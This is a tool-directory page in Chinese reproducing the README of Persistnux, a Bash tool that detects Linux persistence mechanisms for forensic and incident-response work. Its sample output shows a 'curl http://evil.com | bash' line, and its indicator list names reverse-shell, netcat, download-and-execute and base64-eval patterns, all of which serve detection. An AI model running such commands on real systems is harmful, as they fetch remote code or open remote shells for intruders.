Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Persistnux — 基于Bash的Linux持久性检测工具,用于DFIR调查。扫描15+种持久性机制(systemd、cron、内核模块、SSH、容器),带有置信度评分,并生成CSV/JSONL报告用于取证分析。 | Kitploit
工具/GitHubGitHub/go-lanz/persistnux
权限提升持久化机制漏洞分析取证分析恶意软件分析数字取证学习与教育事件响应容器逃逸实验室与实践
GitHubgo-lanz/persistnux

Persistnux

3403个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

基于Bash的Linux持久性检测工具,用于DFIR调查。扫描15+种持久性机制(systemd、cron、内核模块、SSH、容器),带有置信度评分,并生成CSV/JSONL报告用于取证分析。

查看仓库
# Persistnux

一个全面的Linux持久化检测工具,用于数字取证和事件响应(DFIR)调查。

## 概述

Persistnux 是一个基于 Bash 的工具,旨在识别攻击者用于维护对受感染系统访问权限的已知 Linux 持久化机制。它对系统执行全面检查,并生成 CSV 和 JSONL 格式的详细报告,便于进一步分析。

## 特性

- **全面检测**:覆盖所有主要的 Linux 持久化机制
- **实时分析**:直接在运行中的系统上运行,依赖最小
- **详细输出**:生成 CSV 和 JSONL 报告,包含文件哈希、元数据和置信度评分
- **支持 Root 和非 Root**:可在有或没有 root 权限的情况下运行(非 root 模式下范围受限)
- **DFIR 就绪**:输出格式兼容常见的 DFIR 工具和工作流程
- **可疑评分**:基于指标自动进行置信度评分(低、中、高、严重)
- **误报减少**:集成包管理器,并内置已知良好服务白名单
- **基于时间的分析**:最近修改的文件获得更高的置信度评分
- **模式匹配**:检测反弹 Shell、下载执行模式、混淆技术

## 检测到的持久化机制

### 1. Systemd 服务
- 服务文件(`.service`)位于 `/etc/systemd/system`、`/lib/systemd/system`、`/usr/lib/systemd/system`
- 用户级别的 systemd 服务
- 过滤掉已禁用的服务和没有 ExecStart 的服务
- 检测可疑的 ExecStart 命令
- 验证所执行二进制文件/脚本的包完整性

### 2. Cron 作业与计划任务
- 系统 crontab(`/etc/crontab`、`/etc/cron.d/*`)
- 周期性执行目录(`/etc/cron.{daily,hourly,weekly,monthly}`)
- 所有用户的用户 crontab(root 模式)
- At 作业
- 计划任务中的可疑命令模式
- `/etc/cron.allow` 和 `/etc/cron.deny` ACL 文件——引用了不存在用户的条目将被标记

### 3. Shell 配置文件与 RC 文件
- 系统级配置文件(`/etc/profile`、`/etc/bash.bashrc`、`/etc/zshrc`)
- Profile.d 脚本(`/etc/profile.d/*`)
- 用户配置文件(`.bashrc`、`.bash_profile`、`.zshrc`、`.profile` 等)
- Fish shell 配置
- 检测配置文件中的恶意命令

### 4. Init 脚本与 RC.local
- `/etc/rc.local` 及其变体
- SysV init 脚本(`/etc/init.d`)
- 运行级别脚本(`/etc/rc*.d`)
- 检测可疑的下载/执行命令

### 5. 内核模块与库预加载
- LD_PRELOAD 配置(`/etc/ld.so.preload`)——列表中的每个库都通过包管理器验证
- 动态链接器配置(`/etc/ld.so.conf`、`/etc/ld.so.conf.d/`)——配置文件完整性 + 非标准路径的 `.so` 文件被扫描并验证
- `/etc/environment` 中的 LD_PRELOAD/LD_LIBRARY_PATH ——环境文件标记为高;引用的库路径被验证(未管理/修改则标记为严重)
- 内核模块参数(`/etc/modprobe.d/`、`/etc/modprobe.conf`)——文件完整性;分析 `install` 指令以发现可疑命令目标;安全模块(apparmor、selinux、seccomp)的 `blacklist` 被标记为高
- 内核模块自动加载配置(`/etc/modules`、`/etc/modules-load.d/`)——配置完整性;引用模块名称通过 `modinfo` 解析为 `.ko` 文件并验证
- 已加载的内核模块(`lsmod`)——枚举和完整性验证

### 6. 其他机制
- XDG 自动启动条目(`.config/autostart`、`/etc/xdg/autostart`)——root 模式扫描所有用户主目录
- 系统环境文件(`/etc/environment`)——验证 LD_PRELOAD/LD_LIBRARY_PATH 库路径
- Sudoers 配置及 drop-in 文件(`/etc/sudoers`、`/etc/sudoers.d/`)——NOPASSWD/ALL 模式标记为高
- PAM(可插拔认证模块):
  - 所有 `.so` 模块通过包管理器验证;遵循 `@include` 指令;包含 `/etc/pam.conf`
  - `pam_exec.so` 脚本分析——缺失/可疑脚本标记为严重
  - `pam_python.so` / `pam_perl.so` 中继检测——提取并分析脚本
  - `/etc/security/` 中检测 `pam_script.so` 钩子文件
  - 配置文件完整性——被修改的包所属 PAM 配置标记为严重
  - `pam_env.conf` 和 `~/.pam_environment` 中的 LD_PRELOAD 库验证
  - `/etc/security/` 常规扫描
- MOTD 脚本(`/etc/update-motd.d/`)——包验证;被修改标记为严重
- Git 凭据助手和 core.pager 设置——对所有用户进行内容分析
- 常见 Web 目录中的 Web Shell

### 8. SSH 持久化
- 每个用户的 `~/.ssh/authorized_keys` ——最近修改的密钥被标记;分析 `command=` 选项内容以发现可疑模式
- 每个用户的 `~/.ssh/rc` ——存在即标记为中;可疑/反弹 Shell 内容标记为高/严重

### 9. 二进制劫持
- 对已安装的系统二进制文件与包数据库进行验证(Debian/Ubuntu 使用 `dpkg -V`,RHEL/CentOS 使用 `rpm -Va`)
- `/usr/bin`、`/usr/sbin`、`/bin`、`/sbin` 中被修改的文件标记为严重发现
- `/lib/security` 中被修改的 PAM 模块标记为严重发现
- 排除 conffiles(dpkg 配置文件)以避免误报

### 10. 引导加载程序与 Initramfs
- GRUB 的 `init=` 内核参数注入(`/etc/default/grub`、`/etc/default/grub.d/*.cfg`)
- `/` 根目录下的根级 init 脚本
- 带有 `pre-pivot` 钩子并向 `/sysroot/etc/shadow` 写入内容的 Dracut initramfs 模块
- Ubuntu initramfs-tools 钩子脚本位于 `/etc/initramfs-tools/scripts/` 和 `/hooks/`
- 最近修改的 `/boot/initrd.img-*` 镜像(基于 mtime)

### 11. Polkit(PolicyKit)操纵
- 无条件 `ResultAny/ResultInactive/ResultActive=yes` 的 `.pkla` 文件
- 通配符身份(`unix-user:*`)授权
- 带无条件 `polkit.Result.YES` 的 `.rules` 文件(基于 JavaScript 的 Polkit >= 0.106)

### 12. D-Bus 与 NetworkManager
- 恶意 D-Bus 系统服务 `Exec=` 注册(`/usr/share/dbus-1/system-services/`)
- D-Bus 策略通配符 `allow own="*"` 或 `send_destination="*"` 指令
- NetworkManager 调度脚本(`/etc/NetworkManager/dispatcher.d/`)

### 13. Udev 规则
- 执行任意命令或脚本的 Udev `RUN+=` 指令(`/etc/udev/rules.d/`、`/lib/udev/rules.d/`)
- `/run/udev/rules.d/` 中运行时注入的规则
- `RUN+=` 中的 `at`/`cron` 委托模式(常见的前台限制绕过)

### 14. 容器逃逸
- 特权 Docker 容器(`--privileged`、`--pid=host`)
- 容器中的 `docker.sock` 绑定挂载(通过 Docker API 完全控制宿主机)
- 容器入口点或 Dockerfile 中的 `nsenter -t 1`
- 用户可写目录中包含逃逸技术的 Dockerfile

### 15. 高级二进制与权限检查
- 跨系统目录扫描活动 SUID/SGID 文件
- 通过 `getcap` 进行文件能力扫描——GTFOBins 上的 `cap_setuid+ep` 标记为严重
- 二进制劫持:重命名的原始文件(`.original`、`.old`、`.bak`、`.real`)带有包装脚本
- `/etc/passwd` 中 UID 0 的非 root 账户
- `/etc/passwd` Shell 字段尾部空格导致的 Shell 掩藏
- 具有 SSH `authorized_keys` 文件的系统账户(UID 1-999)

## 安装

```bash
# 克隆仓库
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# 赋予脚本执行权限
chmod +x persistnux.sh
```

## 使用方法

### 基本用法(实时分析)

```bash
# 使用默认设置运行(仅显示可疑发现)
sudo ./persistnux.sh

# 显示帮助和所有选项
./persistnux.sh --help

# 以普通用户运行(范围受限)
./persistnux.sh
```

### 过滤选项(v2.4+)

默认情况下,Persistnux 仅显示**可疑发现**(中、高、严重置信度),以减少噪音并聚焦于可操作的威胁。

```bash
# 默认:仅显示可疑发现
sudo ./persistnux.sh

# 显示所有发现,包括基线(低置信度)
sudo ./persistnux.sh --all
# 或
sudo FILTER_MODE=all ./persistnux.sh

# 仅显示高和严重置信度发现
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# 组合过滤:仅高置信度
sudo ./persistnux.sh --min-confidence HIGH
```

### 自定义输出目录

```bash
# 指定自定义输出目录
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# 与过滤结合使用
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh
```

### 输出文件

默认情况下,Persistnux 创建一个输出目录 `./persistnux_output/`,包含:

- `persistnux_<hostname>_<timestamp>.csv` - CSV 格式报告
- `persistnux_<hostname>_<timestamp>.jsonl` - JSONL 格式报告(每行一个 JSON 对象)
- `persistnux_<hostname>_<timestamp>_report.txt` - 人类可读的摘要报告,包含发现数量和扫描元数据

## 输出格式

### CSV 格式

```csv
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"
```

### JSONL 格式

```json
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}
```

### 关键输出字段

- **matched_pattern**:触发发现的检测模式(例如 `suspicious_script_content`、`modified_package`、`unmanaged_binary`)
- **matched_string**:实际发现的恶意内容(完整行,而不仅仅是关键词)

## 置信度评分

Persistnux 使用智能置信度评分以减少误报:

- **低**:标准系统配置,怀疑度低(通常是包管理的文件)
- **中**:可能可疑但可能是正常的
- **高**:检测到可疑模式(例如 cron 中的 curl/wget、/tmp 执行、反弹 Shell)
- **严重**:确凿的篡改证据——包完整性验证失败、可疑文件的 SUID/SGID、PAM 模块异常、临时位置中的 systemd generator,或带有高熵载荷的内联解释器代码

### 误报减少(v1.2+)

Persistnux 现在包含多项误报减少功能:

1. **包管理器集成**:由 `dpkg`(Debian/Ubuntu)或 `rpm`(RedHat/CentOS)管理的文件获得较低的置信度评分
2. **已知良好服务白名单**:常见供应商服务(systemd-*、dbus-*、snap.* 等)自动跳过
3. **基于时间的评分**:最近修改的文件(<7 天)获得更高的置信度评分
4. **上下文感知分析**:结合多个指标以实现更准确的检测

## 可疑指标

Persistnux 在检测到以下情况时会自动以更高的置信度标记项目:

### 基于网络的模式
- 反弹 Shell:`bash -i >& /dev/tcp/`、`sh -i >& /dev/udp/`
- 网络工具:`nc`、`netcat`、`socat`、`telnet`
- 脚本语言中的套接字操作:`python -c 'import socket'`

### 下载并执行模式
- 下载工具:`curl | bash`、`wget | sh`
- 下载后执行:`curl URL -o /tmp/file && chmod +x`

### 混淆技术
- 编码:`base64 -d | bash`、`eval $(echo BASE64)`
- 动态执行:`eval`、`exec`

### 可疑位置
- 临时目录:`/tmp`、`/dev/shm`、`/var/tmp`
- 隐藏目录和文件

### 权限操纵
- 使文件可执行:`chmod +x`、`chmod 777`
- SUID 位操纵:`chmod u+s`

## 要求

- Bash 4.0+
- 标准 Unix 工具:`find`、`grep`、`stat`、`sha256sum`、`awk`、`file`
- 可选:`systemctl`、`lsmod`、`modinfo`、`getcap`、`dpkg`/`rpm`(用于特定检查)
- 无需解释器依赖(纯 Bash + coreutils;不需要 `python`/`jq`)
- 建议使用 root/sudo 以进行全面的分析

## 测试过 / 兼容性

| 发行版 | 状态 | 备注 |
|---|---|---|
| Ubuntu 22.04 LTS | ✅ 已测试 | 主要开发和测试平台 |
| Ubuntu 20.04 LTS | ✅ 已测试 | 完全支持 |
| Debian 11/12 | ✅ 已测试 | dpkg 基础,路径约定相同 |
| Kali Linux (rolling) | ✅ 已测试 | 用于 PANIX 检测基准测试(见下文) |
| RedHat / RHEL | ⚠️ 尚未测试 | rpm 支持已实现但未在真实系统上验证 |
| Fedora | ⚠️ 尚未测试 | rpm 支持已实现但未在真实系统上验证 |
| CentOS / AlmaLinux / Rocky | ⚠️ 尚未测试 | rpm 支持已实现但未在真实系统上验证 |

> **注意:** 该工具主要在 **Ubuntu/Debian** 系统上测试。RedHat、Fedora 和基于 RPM 的发行版的包管理器支持已在代码中实现,但尚未在真实测试环境中验证。欢迎为基于 RPM 的发行版贡献和提供测试报告。

## 测试 / 基准测试

Persistnux 在 [**PANIX**](https://github.com/Aegrah/PANIX) 上进行了基准测试,
PANIX 会安装 Persistnux 所搜索的相同持久化机制。可重复的
测试脚本 [`tests/panix_benchmark.sh`](https://github.com/go-lanz/persistnux/blob/main/tests/panix_benchmark.sh) 应用每个
PANIX 技术,运行 Persistnux,并通过基线差异来确认检测。
每个在测试机上适用的基于文件的 PANIX 技术都会以
`MEDIUM`+ 置信度被检测到。请参阅 [PANIX_BENCHMARK.md](https://github.com/go-lanz/persistnux/blob/main/PANIX_BENCHMARK.md) 以获取完整的
覆盖表和方法。

> ⚠️ 基准测试会安装真实的后门——仅在一次性虚拟机中运行它。

## 路线图

- [ ] 用于取证磁盘镜像的离线分析模式
- [ ] UAC(类 Unix 工件收集器)收集集成
- [ ] 在完整虚拟机上将 PANIX 基准测试扩展到引导加载程序/initramfs/LKM 向量

## 资源
https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms
https://www.elastic.co/security-labs/approaching-the-summit-on-persistence
https://www.elastic.co/security-labs/primer-on-persistence-mechanisms
https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms
https://github.com/Aegrah/PANIX

## 贡献

欢迎贡献!请随时提交拉取请求或打开问题,内容涉及:

- 新持久化机制检测
- 错误修复
- 文档改进
- 性能优化
- 其他输出格式

## 许可

MIT 许可证 - 详情请参阅 LICENSE 文件

## 致谢

为 DFIR 社区开发,以协助 Linux 事件响应和取证调查。

## 免责声明

本工具仅用于授权的安全测试、事件响应和取证分析。用户有责任确保在运行本工具之前拥有适当的授权。

## 联系方式

如有问题、问题或贡献,请使用 GitHub 问题跟踪器。
下载工具